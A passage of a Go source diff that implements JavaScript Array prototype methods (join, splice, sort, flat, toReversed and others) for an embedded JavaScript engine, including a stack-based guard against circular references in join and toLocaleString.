panic(obj.runtime.NewTypeError("Species is not a constructor")) + } + } + return obj.runtime.newArrayLength(size) +} + +func max(a, b int64) int64 { + if a > b { + return a + } + return b +} + +func min(a, b int64) int64 { + if a < b { + return a + } + return b +} + +func relToIdx(rel, l int64) int64 { + if rel >= 0 { + return min(rel, l) + } + return max(l+rel, 0) +} + +func (r *Runtime) newArrayValues(values []Value) *Object { + return setArrayValues(r.newArrayObject(), values).val +} + +func (r *Runtime) newArrayLength(l int64) *Object { + return setArrayLength(r.newArrayObject(), l).val +} + +func (r *Runtime) builtin_newArray(args []Value, proto *Object) *Object { + l := len(args) + if l == 1 { + if al, ok := args[0].(valueInt); ok { + return setArrayLength(r.newArray(proto), int64(al)).val + } else if f, ok := args[0].(valueFloat); ok { + al := int64(f) + if float64(al) == float64(f) { + return r.newArrayLength(al) + } else { + panic(r.newError(r.getRangeError(), "Invalid array length")) + } + } + return setArrayValues(r.newArray(proto), []Value{args[0]}).val + } else { + argsCopy := make([]Value, l) + copy(argsCopy, args) + return setArrayValues(r.newArray(proto), argsCopy).val + } +} + +func (r *Runtime) generic_push(obj *Object, call FunctionCall) Value { + l := toLength(obj.self.getStr("length", nil)) + nl := l + int64(len(call.Arguments)) + if nl >= maxInt { + r.typeErrorResult(true, "Invalid array length") + panic("unreachable") + } + for i, arg := range call.Arguments { + obj.self.setOwnIdx(valueInt(l+int64(i)), arg, true) + } + n := valueInt(nl) + obj.self.setOwnStr("length", n, true) + return n +} + +func (r *Runtime) arrayproto_push(call FunctionCall) Value { + obj := call.This.ToObject(r) + return r.generic_push(obj, call) +} + +func (r *Runtime) arrayproto_pop_generic(obj *Object) Value { + l := toLength(obj.self.getStr("length", nil)) + if l == 0 { + obj.self.setOwnStr("length", intToValue(0), true) + return _undefined + } + idx := valueInt(l - 1) + val := obj.self.getIdx(idx, nil) + obj.self.deleteIdx(idx, true) + obj.self.setOwnStr("length", idx, true) + return val +} + +func (r *Runtime) arrayproto_pop(call FunctionCall) Value { + obj := call.This.ToObject(r) + if a, ok := obj.self.(*arrayObject); ok { + l := a.length + var val Value + if l > 0 { + l-- + if l < uint32(len(a.values)) { + val = a.values[l] + } + if val == nil { + // optimisation bail-out + return r.arrayproto_pop_generic(obj) + } + if _, ok := val.(*valueProperty); ok { + // optimisation bail-out + return r.arrayproto_pop_generic(obj) + } + //a._setLengthInt(l, false) + a.values[l] = nil + a.values = a.values[:l] + } else { + val = _undefined + } + if a.lengthProp.writable { + a.length = l + } else { + a.setLength(0, true) // will throw + } + return val + } else { + return r.arrayproto_pop_generic(obj) + } +} + +// pushToStringStack checks for circular references and pushes an object onto the toString stack. +// Returns true if the object is already in the stack (circular reference detected), false otherwise. +// If false is returned, the caller must ensure the object is popped from the stack when done. +func (r *Runtime) pushToStringStack(o *Object) bool { + // Check for circular reference in the toString stack + for _, obj := range r.toStringStack { + if o == obj { + // Circular reference detected + return true + } + } + + // Push this object onto the stack + r.toStringStack = append(r.toStringStack, o) + return false +} + +// popFromStringStack removes an object from the toString stack. +func (r *Runtime) popFromStringStack() { + // Set the last element to nil to allow GC to collect it + r.toStringStack[len(r.toStringStack)-1] = nil + r.toStringStack = r.toStringStack[:len(r.toStringStack)-1] +} + +func (r *Runtime) arrayproto_join(call FunctionCall) Value { + o := call.This.ToObject(r) + + if r.pushToStringStack(o) { + // Circular reference detected, return empty string to avoid infinite recursion + // This matches the behavior of mainstream JavaScript engines (V8, SpiderMonkey) + return stringEmpty + } + defer r.popFromStringStack() + + l := int(toLength(o.self.getStr("length", nil))) + var sep String + if s := call.Argument(0); s != _undefined { + sep = s.toString() + } else { + sep = asciiString(",") + } + if l == 0 { + return stringEmpty + } + + var buf StringBuilder + + element0 := o.self.getIdx(valueInt(0), nil) + if element0 != nil && element0 != _undefined && element0 != _null { + buf.WriteString(element0.toString()) + } + + for i := 1; i < l; i++ { + buf.WriteString(sep) + element := o.self.getIdx(valueInt(int64(i)), nil) + if element != nil && element != _undefined && element != _null { + buf.WriteString(element.toString()) + } + } + + return buf.String() +} + +func (r *Runtime) arrayproto_toString(call FunctionCall) Value { + array := call.This.ToObject(r) + var toString func() Value + switch a := array.self.(type) { + case *objectGoSliceReflect: + toString = a.toString + case *objectGoArrayReflect: + toString = a.toString + } + if toString != nil { + return toString() + } + f := array.self.getStr("join", nil) + if fObj, ok := f.(*Object); ok { + if fcall, ok := fObj.self.assertCallable(); ok { + return fcall(FunctionCall{ + This: array, + }) + } + } + return r.objectproto_toString(FunctionCall{ + This: array, + }) +} + +func (r *Runtime) writeItemLocaleString(item Value, buf *StringBuilder) { + if item != nil && item != _undefined && item != _null { + if f, ok := r.getVStr(item, "toLocaleString").(*Object); ok { + if c, ok := f.self.assertCallable(); ok { + strVal := c(FunctionCall{ + This: item, + }) + buf.WriteString(strVal.toString()) + return + } + } + r.typeErrorResult(true, "Property 'toLocaleString' of object %s is not a function", item) + } +} + +func (r *Runtime) arrayproto_toLocaleString(call FunctionCall) Value { + array := call.This.ToObject(r) + + if r.pushToStringStack(array) { + // Circular reference detected, return empty string to avoid infinite recursion + return stringEmpty + } + defer r.popFromStringStack() + + var buf StringBuilder + if a := r.checkStdArrayObj(array); a != nil { + for i, item := range a.values { + if i > 0 { + buf.WriteRune(',') + } + r.writeItemLocaleString(item, &buf) + } + } else { + length := toLength(array.self.getStr("length", nil)) + for i := int64(0); i < length; i++ { + if i > 0 { + buf.WriteRune(',') + } + item := array.self.getIdx(valueInt(i), nil) + r.writeItemLocaleString(item, &buf) + } + } + + return buf.String() +} + +func isConcatSpreadable(obj *Object) bool { + spreadable := obj.self.getSym(SymIsConcatSpreadable, nil) + if spreadable != nil && spreadable != _undefined { + return spreadable.ToBoolean() + } + return isArray(obj) +} + +func (r *Runtime) arrayproto_concat_append(a *Object, item Value) { + aLength := toLength(a.self.getStr("length", nil)) + if obj, ok := item.(*Object); ok && isConcatSpreadable(obj) { + length := toLength(obj.self.getStr("length", nil)) + if aLength+length >= maxInt { + panic(r.NewTypeError("Invalid array length")) + } + for i := int64(0); i < length; i++ { + v := obj.self.getIdx(valueInt(i), nil) + if v != nil { + createDataPropertyOrThrow(a, intToValue(aLength), v) + } + aLength++ + } + } else { + createDataPropertyOrThrow(a, intToValue(aLength), item) + aLength++ + } + a.self.setOwnStr("length", intToValue(aLength), true) +} + +func (r *Runtime) arrayproto_concat(call FunctionCall) Value { + obj := call.This.ToObject(r) + a := arraySpeciesCreate(obj, 0) + r.arrayproto_concat_append(a, call.This.ToObject(r)) + for _, item := range call.Arguments { + r.arrayproto_concat_append(a, item) + } + return a +} + +func (r *Runtime) arrayproto_slice(call FunctionCall) Value { + o := call.This.ToObject(r) + length := toLength(o.self.getStr("length", nil)) + start := relToIdx(call.Argument(0).ToInteger(), length) + var end int64 + if endArg := call.Argument(1); endArg != _undefined { + end = endArg.ToInteger() + } else { + end = length + } + end = relToIdx(end, length) + + count := end - start + if count < 0 { + count = 0 + } + + a := arraySpeciesCreate(o, count) + if src := r.checkStdArrayObj(o); src != nil { + if dst := r.checkStdArrayObjWithProto(a); dst != nil { + values := make([]Value, count) + copy(values, src.values[start:]) + setArrayValues(dst, values) + return a + } + } + + n := int64(0) + for start < end { + p := o.self.getIdx(valueInt(start), nil) + if p != nil { + createDataPropertyOrThrow(a, valueInt(n), p) + } + start++ + n++ + } + return a +} + +func (r *Runtime) arrayproto_sort(call FunctionCall) Value { + o := call.This.ToObject(r) + + var compareFn func(FunctionCall) Value + arg := call.Argument(0) + if arg != _undefined { + if arg, ok := call.Argument(0).(*Object); ok { + compareFn, _ = arg.self.assertCallable() + } + if compareFn == nil { + panic(r.NewTypeError("The comparison function must be either a function or undefined")) + } + } + + var s sortable + if r.checkStdArrayObj(o) != nil { + s = o.self + } else if _, ok := o.self.(reflectValueWrapper); ok { + s = o.self + } + + if s != nil { + ctx := arraySortCtx{ + obj: s, + compare: compareFn, + } + + sort.Stable(&ctx) + } else { + length := toLength(o.self.getStr("length", nil)) + a := make([]Value, 0, length) + for i := int64(0); i < length; i++ { + idx := valueInt(i) + if o.self.hasPropertyIdx(idx) { + a = append(a, nilSafe(o.self.getIdx(idx, nil))) + } + } + ar := r.newArrayValues(a) + ctx := arraySortCtx{ + obj: ar.self, + compare: compareFn, + } + + sort.Stable(&ctx) + for i := 0; i < len(a); i++ { + o.self.setOwnIdx(valueInt(i), a[i], true) + } + for i := int64(len(a)); i < length; i++ { + o.self.deleteIdx(valueInt(i), true) + } + } + return o +} + +func (r *Runtime) arrayproto_splice(call FunctionCall) Value { + o := call.This.ToObject(r) + length := toLength(o.self.getStr("length", nil)) + actualStart := relToIdx(call.Argument(0).ToInteger(), length) + var actualDeleteCount int64 + switch len(call.Arguments) { + case 0: + case 1: + actualDeleteCount = length - actualStart + default: + actualDeleteCount = min(max(call.Argument(1).ToInteger(), 0), length-actualStart) + } + itemCount := max(int64(len(call.Arguments)-2), 0) + newLength := length - actualDeleteCount + itemCount + if newLength >= maxInt { + panic(r.NewTypeError("Invalid array length")) + } + a := arraySpeciesCreate(o, actualDeleteCount) + if src := r.checkStdArrayObj(o); src != nil { + if dst := r.checkStdArrayObjWithProto(a); dst != nil { + values := make([]Value, actualDeleteCount) + copy(values, src.values[actualStart:]) + setArrayValues(dst, values) + } else { + for k := int64(0); k < actualDeleteCount; k++ { + createDataPropertyOrThrow(a, intToValue(k), src.values[k+actualStart]) + } + a.self.setOwnStr("length", intToValue(actualDeleteCount), true) + } + var values []Value + if itemCount < actualDeleteCount { + values = src.values + copy(values[actualStart+itemCount:], values[actualStart+actualDeleteCount:]) + tail := values[newLength:] + for k := range tail { + tail[k] = nil + } + values = values[:newLength] + } else if itemCount > actualDeleteCount { + if int64(cap(src.values)) >= newLength { + values = src.values[:newLength] + copy(values[actualStart+itemCount:], values[actualStart+actualDeleteCount:length]) + } else { + values = make([]Value, newLength) + copy(values, src.values[:actualStart]) + copy(values[actualStart+itemCount:], src.values[actualStart+actualDeleteCount:]) + } + } else { + values = src.values + } + if itemCount > 0 { + copy(values[actualStart:], call.Arguments[2:]) + } + src.values = values + src.objCount = len(values) + } else { + for k := int64(0); k < actualDeleteCount; k++ { + from := valueInt(k + actualStart) + if o.self.hasPropertyIdx(from) { + createDataPropertyOrThrow(a, valueInt(k), nilSafe(o.self.getIdx(from, nil))) + } + } + + if itemCount < actualDeleteCount { + for k := actualStart; k < length-actualDeleteCount; k++ { + from := valueInt(k + actualDeleteCount) + to := valueInt(k + itemCount) + if o.self.hasPropertyIdx(from) { + o.self.setOwnIdx(to, nilSafe(o.self.getIdx(from, nil)), true) + } else { + o.self.deleteIdx(to, true) + } + } + + for k := length; k > length-actualDeleteCount+itemCount; k-- { + o.self.deleteIdx(valueInt(k-1), true) + } + } else if itemCount > actualDeleteCount { + for k := length - actualDeleteCount; k > actualStart; k-- { + from := valueInt(k + actualDeleteCount - 1) + to := valueInt(k + itemCount - 1) + if o.self.hasPropertyIdx(from) { + o.self.setOwnIdx(to, nilSafe(o.self.getIdx(from, nil)), true) + } else { + o.self.deleteIdx(to, true) + } + } + } + + if itemCount > 0 { + for i, item := range call.Arguments[2:] { + o.self.setOwnIdx(valueInt(actualStart+int64(i)), item, true) + } + } + } + + o.self.setOwnStr("length", intToValue(newLength), true) + + return a +} + +func (r *Runtime) arrayproto_unshift(call FunctionCall) Value { + o := call.This.ToObject(r) + length := toLength(o.self.getStr("length", nil)) + argCount := int64(len(call.Arguments)) + newLen := intToValue(length + argCount) + if argCount > 0 { + newSize := length + argCount + if newSize >= maxInt { + panic(r.NewTypeError("Invalid array length")) + } + if arr := r.checkStdArrayObjWithProto(o); arr != nil && newSize < math.MaxUint32 { + if int64(cap(arr.values)) >= newSize { + arr.values = arr.values[:newSize] + copy(arr.values[argCount:], arr.values[:length]) + } else { + values := make([]Value, newSize) + copy(values[argCount:], arr.values) + arr.values = values + } + copy(arr.values, call.Arguments) + arr.objCount = int(arr.length) + } else { + for k := length - 1; k >= 0; k-- { + from := valueInt(k) + to := valueInt(k + argCount) + if o.self.hasPropertyIdx(from) { + o.self.setOwnIdx(to, nilSafe(o.self.getIdx(from, nil)), true) + } else { + o.self.deleteIdx(to, true) + } + } + + for k, arg := range call.Arguments { + o.self.setOwnIdx(valueInt(int64(k)), arg, true) + } + } + } + + o.self.setOwnStr("length", newLen, true) + return newLen +} + +func (r *Runtime) arrayproto_at(call FunctionCall) Value { + o := call.This.ToObject(r) + idx := call.Argument(0).ToInteger() + length := toLength(o.self.getStr("length", nil)) + if idx < 0 { + idx = length + idx + } + if idx >= length || idx < 0 { + return _undefined + } + i := valueInt(idx) + if o.self.hasPropertyIdx(i) { + return o.self.getIdx(i, nil) + } + return _undefined +} + +func (r *Runtime) arrayproto_indexOf(call FunctionCall) Value { + o := call.This.ToObject(r) + length := toLength(o.self.getStr("length", nil)) + if length == 0 { + return intToValue(-1) + } + + n := call.Argument(1).ToInteger() + if n >= length { + return intToValue(-1) + } + + if n < 0 { + n = max(length+n, 0) + } + + searchElement := call.Argument(0) + + if arr := r.checkStdArrayObj(o); arr != nil { + for i, val := range arr.values[n:] { + if searchElement.StrictEquals(val) { + return intToValue(n + int64(i)) + } + } + return intToValue(-1) + } + + for ; n < length; n++ { + idx := valueInt(n) + if o.self.hasPropertyIdx(idx) { + if val := o.self.getIdx(idx, nil); val != nil { + if searchElement.StrictEquals(val) { + return idx + } + } + } + } + + return intToValue(-1) +} + +func (r *Runtime) arrayproto_includes(call FunctionCall) Value { + o := call.This.ToObject(r) + length := toLength(o.self.getStr("length", nil)) + if length == 0 { + return valueFalse + } + + n := call.Argument(1).ToInteger() + if n >= length { + return valueFalse + } + + if n < 0 { + n = max(length+n, 0) + } + + searchElement := call.Argument(0) + if searchElement == _negativeZero { + searchElement = _positiveZero + } + + if arr := r.checkStdArrayObj(o); arr != nil { + for _, val := range arr.values[n:] { + if searchElement.SameAs(val) { + return valueTrue + } + } + return valueFalse + } + + for ; n < length; n++ { + idx := valueInt(n) + val := nilSafe(o.self.getIdx(idx, nil)) + if searchElement.SameAs(val) { + return valueTrue + } + } + + return valueFalse +} + +func (r *Runtime) arrayproto_lastIndexOf(call FunctionCall) Value { + o := call.This.ToObject(r) + length := toLength(o.self.getStr("length", nil)) + if length == 0 { + return intToValue(-1) + } + + var fromIndex int64 + + if len(call.Arguments) < 2 { + fromIndex = length - 1 + } else { + fromIndex = call.Argument(1).ToInteger() + if fromIndex >= 0 { + fromIndex = min(fromIndex, length-1) + } else { + fromIndex += length + } + } + + searchElement := call.Argument(0) + + if arr := r.checkStdArrayObj(o); arr != nil { + vals := arr.values + for k := fromIndex; k >= 0; k-- { + if v := vals[k]; v != nil && searchElement.StrictEquals(v) { + return intToValue(k) + } + } + return intToValue(-1) + } + + for k := fromIndex; k >= 0; k-- { + idx := valueInt(k) + if o.self.hasPropertyIdx(idx) { + if val := o.self.getIdx(idx, nil); val != nil { + if searchElement.StrictEquals(val) { + return idx + } + } + } + } + + return intToValue(-1) +} + +func (r *Runtime) arrayproto_every(call FunctionCall) Value { + o := call.This.ToObject(r) + length := toLength(o.self.getStr("length", nil)) + callbackFn := r.toCallable(call.Argument(0)) + fc := FunctionCall{ + This: call.Argument(1), + Arguments: []Value{nil, nil, o}, + } + for k := int64(0); k < length; k++ { + idx := valueInt(k) + if val := o.self.getIdx(idx, nil); val != nil { + fc.Arguments[0] = val + fc.Arguments[1] = idx + if !callbackFn(fc).ToBoolean() { + return valueFalse + } + } + } + return valueTrue +} + +func (r *Runtime) arrayproto_some(call FunctionCall) Value { + o := call.This.ToObject(r) + length := toLength(o.self.getStr("length", nil)) + callbackFn := r.toCallable(call.Argument(0)) + fc := FunctionCall{ + This: call.Argument(1), + Arguments: []Value{nil, nil, o}, + } + for k := int64(0); k < length; k++ { + idx := valueInt(k) + if val := o.self.getIdx(idx, nil); val != nil { + fc.Arguments[0] = val + fc.Arguments[1] = idx + if callbackFn(fc).ToBoolean() { + return valueTrue + } + } + } + return valueFalse +} + +func (r *Runtime) arrayproto_forEach(call FunctionCall) Value { + o := call.This.ToObject(r) + length := toLength(o.self.getStr("length", nil)) + callbackFn := r.toCallable(call.Argument(0)) + fc := FunctionCall{ + This: call.Argument(1), + Arguments: []Value{nil, nil, o}, + } + for k := int64(0); k < length; k++ { + idx := valueInt(k) + if val := o.self.getIdx(idx, nil); val != nil { + fc.Arguments[0] = val + fc.Arguments[1] = idx + callbackFn(fc) + } + } + return _undefined +} + +func (r *Runtime) arrayproto_map(call FunctionCall) Value { + o := call.This.ToObject(r) + length := toLength(o.self.getStr("length", nil)) + callbackFn := r.toCallable(call.Argument(0)) + fc := FunctionCall{ + This: call.Argument(1), + Arguments: []Value{nil, nil, o}, + } + a := arraySpeciesCreate(o, length) + if _, stdSrc := o.self.(*arrayObject); stdSrc { + if arr, ok := a.self.(*arrayObject); ok { + values := make([]Value, length) + for k := int64(0); k < length; k++ { + idx := valueInt(k) + if val := o.self.getIdx(idx, nil); val != nil { + fc.Arguments[0] = val + fc.Arguments[1] = idx + values[k] = callbackFn(fc) + } + } + setArrayValues(arr, values) + return a + } + } + for k := int64(0); k < length; k++ { + idx := valueInt(k) + if val := o.self.getIdx(idx, nil); val != nil { + fc.Arguments[0] = val + fc.Arguments[1] = idx + createDataPropertyOrThrow(a, idx, callbackFn(fc)) + } + } + return a +} + +func (r *Runtime) arrayproto_filter(call FunctionCall) Value { + o := call.This.ToObject(r) + length := toLength(o.self.getStr("length", nil)) + callbackFn := call.Argument(0).ToObject(r) + if callbackFn, ok := callbackFn.self.assertCallable(); ok { + a := arraySpeciesCreate(o, 0) + fc := FunctionCall{ + This: call.Argument(1), + Arguments: []Value{nil, nil, o}, + } + if _, stdSrc := o.self.(*arrayObject); stdSrc { + if arr := r.checkStdArrayObj(a); arr != nil { + var values []Value + for k := int64(0); k < length; k++ { + idx := valueInt(k) + if val := o.self.getIdx(idx, nil); val != nil { + fc.Arguments[0] = val + fc.Arguments[1] = idx + if callbackFn(fc).ToBoolean() { + values = append(values, val) + } + } + } + setArrayValues(arr, values) + return a + } + } + + to := int64(0) + for k := int64(0); k < length; k++ { + idx := valueInt(k) + if val := o.self.getIdx(idx, nil); val != nil { + fc.Arguments[0] = val + fc.Arguments[1] = idx + if callbackFn(fc).ToBoolean() { + createDataPropertyOrThrow(a, intToValue(to), val) + to++ + } + } + } + return a + } else { + r.typeErrorResult(true, "%s is not a function", call.Argument(0)) + } + panic("unreachable") +} + +func (r *Runtime) arrayproto_reduce(call FunctionCall) Value { + o := call.This.ToObject(r) + length := toLength(o.self.getStr("length", nil)) + callbackFn := call.Argument(0).ToObject(r) + if callbackFn, ok := callbackFn.self.assertCallable(); ok { + fc := FunctionCall{ + This: _undefined, + Arguments: []Value{nil, nil, nil, o}, + } + + var k int64 + + if len(call.Arguments) >= 2 { + fc.Arguments[0] = call.Argument(1) + } else { + for ; k < length; k++ { + idx := valueInt(k) + if val := o.self.getIdx(idx, nil); val != nil { + fc.Arguments[0] = val + break + } + } + if fc.Arguments[0] == nil { + r.typeErrorResult(true, "No initial value") + panic("unreachable") + } + k++ + } + + for ; k < length; k++ { + idx := valueInt(k) + if val := o.self.getIdx(idx, nil); val != nil { + fc.Arguments[1] = val + fc.Arguments[2] = idx + fc.Arguments[0] = callbackFn(fc) + } + } + return fc.Arguments[0] + } else { + r.typeErrorResult(true, "%s is not a function", call.Argument(0)) + } + panic("unreachable") +} + +func (r *Runtime) arrayproto_reduceRight(call FunctionCall) Value { + o := call.This.ToObject(r) + length := toLength(o.self.getStr("length", nil)) + callbackFn := call.Argument(0).ToObject(r) + if callbackFn, ok := callbackFn.self.assertCallable(); ok { + fc := FunctionCall{ + This: _undefined, + Arguments: []Value{nil, nil, nil, o}, + } + + k := length - 1 + + if len(call.Arguments) >= 2 { + fc.Arguments[0] = call.Argument(1) + } else { + for ; k >= 0; k-- { + idx := valueInt(k) + if val := o.self.getIdx(idx, nil); val != nil { + fc.Arguments[0] = val + break + } + } + if fc.Arguments[0] == nil { + r.typeErrorResult(true, "No initial value") + panic("unreachable") + } + k-- + } + + for ; k >= 0; k-- { + idx := valueInt(k) + if val := o.self.getIdx(idx, nil); val != nil { + fc.Arguments[1] = val + fc.Arguments[2] = idx + fc.Arguments[0] = callbackFn(fc) + } + } + return fc.Arguments[0] + } else { + r.typeErrorResult(true, "%s is not a function", call.Argument(0)) + } + panic("unreachable") +} + +func arrayproto_reverse_generic_step(o *Object, lower, upper int64) { + lowerP := valueInt(lower) + upperP := valueInt(upper) + var lowerValue, upperValue Value + lowerExists := o.self.hasPropertyIdx(lowerP) + if lowerExists { + lowerValue = nilSafe(o.self.getIdx(lowerP, nil)) + } + upperExists := o.self.hasPropertyIdx(upperP) + if upperExists { + upperValue = nilSafe(o.self.getIdx(upperP, nil)) + } + if lowerExists && upperExists { + o.self.setOwnIdx(lowerP, upperValue, true) + o.self.setOwnIdx(upperP, lowerValue, true) + } else if !lowerExists && upperExists { + o.self.setOwnIdx(lowerP, upperValue, true) + o.self.deleteIdx(upperP, true) + } else if lowerExists && !upperExists { + o.self.deleteIdx(lowerP, true) + o.self.setOwnIdx(upperP, lowerValue, true) + } +} + +func (r *Runtime) arrayproto_reverse_generic(o *Object, start int64) { + l := toLength(o.self.getStr("length", nil)) + middle := l / 2 + for lower := start; lower != middle; lower++ { + arrayproto_reverse_generic_step(o, lower, l-lower-1) + } +} + +func (r *Runtime) arrayproto_reverse(call FunctionCall) Value { + o := call.This.ToObject(r) + if a := r.checkStdArrayObj(o); a != nil { + l := len(a.values) + middle := l / 2 + for lower := 0; lower != middle; lower++ { + upper := l - lower - 1 + a.values[lower], a.values[upper] = a.values[upper], a.values[lower] + } + //TODO: go arrays + } else { + r.arrayproto_reverse_generic(o, 0) + } + return o +} + +func (r *Runtime) arrayproto_shift(call FunctionCall) Value { + o := call.This.ToObject(r) + if a := r.checkStdArrayObjWithProto(o); a != nil { + if len(a.values) == 0 { + if !a.lengthProp.writable { + a.setLength(0, true) // will throw + } + return _undefined + } + first := a.values[0] + copy(a.values, a.values[1:]) + a.values[len(a.values)-1] = nil + a.values = a.values[:len(a.values)-1] + a.length-- + return first + } + length := toLength(o.self.getStr("length", nil)) + if length == 0 { + o.self.setOwnStr("length", intToValue(0), true) + return _undefined + } + first := o.self.getIdx(valueInt(0), nil) + for i := int64(1); i < length; i++ { + idxFrom := valueInt(i) + idxTo := valueInt(i - 1) + if o.self.hasPropertyIdx(idxFrom) { + o.self.setOwnIdx(idxTo, nilSafe(o.self.getIdx(idxFrom, nil)), true) + } else { + o.self.deleteIdx(idxTo, true) + } + } + + lv := valueInt(length - 1) + o.self.deleteIdx(lv, true) + o.self.setOwnStr("length", lv, true) + + return first +} + +func (r *Runtime) arrayproto_values(call FunctionCall) Value { + return r.createArrayIterator(call.This.ToObject(r), iterationKindValue) +} + +func (r *Runtime) arrayproto_keys(call FunctionCall) Value { + return r.createArrayIterator(call.This.ToObject(r), iterationKindKey) +} + +func (r *Runtime) arrayproto_copyWithin(call FunctionCall) Value { + o := call.This.ToObject(r) + l := toLength(o.self.getStr("length", nil)) + var relEnd, dir int64 + to := relToIdx(call.Argument(0).ToInteger(), l) + from := relToIdx(call.Argument(1).ToInteger(), l) + if end := call.Argument(2); end != _undefined { + relEnd = end.ToInteger() + } else { + relEnd = l + } + final := relToIdx(relEnd, l) + count := min(final-from, l-to) + if arr := r.checkStdArrayObj(o); arr != nil { + if count > 0 { + copy(arr.values[to:to+count], arr.values[from:from+count]) + } + return o + } + if from < to && to < from+count { + dir = -1 + from = from + count - 1 + to = to + count - 1 + } else { + dir = 1 + } + for count > 0 { + if o.self.hasPropertyIdx(valueInt(from)) { + o.self.setOwnIdx(valueInt(to), nilSafe(o.self.getIdx(valueInt(from), nil)), true) + } else { + o.self.deleteIdx(valueInt(to), true) + } + from += dir + to += dir + count-- + } + + return o +} + +func (r *Runtime) arrayproto_entries(call FunctionCall) Value { + return r.createArrayIterator(call.This.ToObject(r), iterationKindKeyValue) +} + +func (r *Runtime) arrayproto_fill(call FunctionCall) Value { + o := call.This.ToObject(r) + l := toLength(o.self.getStr("length", nil)) + k := relToIdx(call.Argument(1).ToInteger(), l) + var relEnd int64 + if endArg := call.Argument(2); endArg != _undefined { + relEnd = endArg.ToInteger() + } else { + relEnd = l + } + final := relToIdx(relEnd, l) + value := call.Argument(0) + if arr := r.checkStdArrayObj(o); arr != nil { + for ; k < final; k++ { + arr.values[k] = value + } + } else { + for ; k < final; k++ { + o.self.setOwnIdx(valueInt(k), value, true) + } + } + return o +} + +func (r *Runtime) arrayproto_find(call FunctionCall) Value { + o := call.This.ToObject(r) + l := toLength(o.self.getStr("length", nil)) + predicate := r.toCallable(call.Argument(0)) + fc := FunctionCall{ + This: call.Argument(1), + Arguments: []Value{nil, nil, o}, + } + for k := int64(0); k < l; k++ { + idx := valueInt(k) + kValue := o.self.getIdx(idx, nil) + fc.Arguments[0], fc.Arguments[1] = kValue, idx + if predicate(fc).ToBoolean() { + return kValue + } + } + + return _undefined +} + +func (r *Runtime) arrayproto_findIndex(call FunctionCall) Value { + o := call.This.ToObject(r) + l := toLength(o.self.getStr("length", nil)) + predicate := r.toCallable(call.Argument(0)) + fc := FunctionCall{ + This: call.Argument(1), + Arguments: []Value{nil, nil, o}, + } + for k := int64(0); k < l; k++ { + idx := valueInt(k) + kValue := o.self.getIdx(idx, nil) + fc.Arguments[0], fc.Arguments[1] = kValue, idx + if predicate(fc).ToBoolean() { + return idx + } + } + + return intToValue(-1) +} + +func (r *Runtime) arrayproto_findLast(call FunctionCall) Value { + o := call.This.ToObject(r) + l := toLength(o.self.getStr("length", nil)) + predicate := r.toCallable(call.Argument(0)) + fc := FunctionCall{ + This: call.Argument(1), + Arguments: []Value{nil, nil, o}, + } + for k := int64(l - 1); k >= 0; k-- { + idx := valueInt(k) + kValue := o.self.getIdx(idx, nil) + fc.Arguments[0], fc.Arguments[1] = kValue, idx + if predicate(fc).ToBoolean() { + return kValue + } + } + + return _undefined +} + +func (r *Runtime) arrayproto_findLastIndex(call FunctionCall) Value { + o := call.This.ToObject(r) + l := toLength(o.self.getStr("length", nil)) + predicate := r.toCallable(call.Argument(0)) + fc := FunctionCall{ + This: call.Argument(1), + Arguments: []Value{nil, nil, o}, + } + for k := int64(l - 1); k >= 0; k-- { + idx := valueInt(k) + kValue := o.self.getIdx(idx, nil) + fc.Arguments[0], fc.Arguments[1] = kValue, idx + if predicate(fc).ToBoolean() { + return idx + } + } + + return intToValue(-1) +} + +func (r *Runtime) arrayproto_flat(call FunctionCall) Value { + o := call.This.ToObject(r) + l := toLength(o.self.getStr("length", nil)) + depthNum := int64(1) + if len(call.Arguments) > 0 { + depthNum = call.Argument(0).ToInteger() + } + a := arraySpeciesCreate(o, 0) + r.flattenIntoArray(a, o, l, 0, depthNum, nil, nil) + return a +} + +func (r *Runtime) flattenIntoArray(target, source *Object, sourceLen, start, depth int64, mapperFunction func(FunctionCall) Value, thisArg Value) int64 { + targetIndex, sourceIndex := start, int64(0) + for sourceIndex < sourceLen { + p := intToValue(sourceIndex) + if source.hasProperty(p.toString()) { + element := nilSafe(source.get(p, source)) + if mapperFunction != nil { + element = mapperFunction(FunctionCall{ + This: thisArg, + Arguments: []Value{element, p, source}, + }) + } + var elementArray *Object + if depth > 0 { + if elementObj, ok := element.(*Object); ok && isArray(elementObj) { + elementArray = elementObj + } + } + if elementArray != nil { + elementLen := toLength(elementArray.self.getStr("length", nil)) + targetIndex = r.flattenIntoArray(target, elementArray, elementLen, targetIndex, depth-1, nil, nil) + } else { + if targetIndex >= maxInt-1 { + panic(r.NewTypeError("Invalid array length")) + } + createDataPropertyOrThrow(target, intToValue(targetIndex), element) + targetIndex++ + } + } + sourceIndex++ + } + return targetIndex +} + +func (r *Runtime) arrayproto_flatMap(call FunctionCall) Value { + o := call.This.ToObject(r) + l := toLength(o.self.getStr("length", nil)) + callbackFn := r.toCallable(call.Argument(0)) + thisArg := Undefined() + if len(call.Arguments) > 1 { + thisArg = call.Argument(1) + } + a := arraySpeciesCreate(o, 0) + r.flattenIntoArray(a, o, l, 0, 1, callbackFn, thisArg) + return a +} + +func (r *Runtime) arrayproto_with(call FunctionCall) Value { + o := call.This.ToObject(r) + relativeIndex := call.Argument(0).ToInteger() + value := call.Argument(1) + length := toLength(o.self.getStr("length", nil)) + + actualIndex := int64(0) + if relativeIndex >= 0 { + actualIndex = relativeIndex + } else { + actualIndex = length + relativeIndex + } + if actualIndex >= length || actualIndex < 0 { + panic(r.newError(r.getRangeError(), "Invalid index %s", call.Argument(0).String())) + } + + if src := r.checkStdArrayObj(o); src != nil { + a := make([]Value, 0, length) + for k := int64(0); k < length; k++ { + pk := valueInt(k) + var fromValue Value + if k == actualIndex { + fromValue = value + } else { + fromValue = src.values[pk] + } + a = append(a, fromValue) + } + return r.newArrayValues(a) + } else { + a := r.newArrayLength(length) + for k := int64(0); k < length; k++ { + pk := valueInt(k) + var fromValue Value + if k == actualIndex { + fromValue = value + } else { + fromValue = o.self.getIdx(pk, nil) + } + createDataPropertyOrThrow(a, pk, fromValue) + } + return a + } +} + +func (r *Runtime) arrayproto_toReversed(call FunctionCall) Value { + o := call.This.ToObject(r) + length := toLength(o.self.getStr("length", nil)) + + if src := r.checkStdArrayObj(o); src != nil { + a := make([]Value, 0, length) + for k := int64(0); k < length; k++ { + from := valueInt(length - k - 1) + fromValue := src.values[from] + a = append(a, fromValue) + } + return r.newArrayValues(a) + } else { + a := r.newArrayLength(length) + for k := int64(0); k < length; k++ { + pk := valueInt(k) + from := valueInt(length - k - 1) + fromValue := o.self.getIdx(from, nil) + createDataPropertyOrThrow(a, pk, fromValue) + } + return a + } +} + 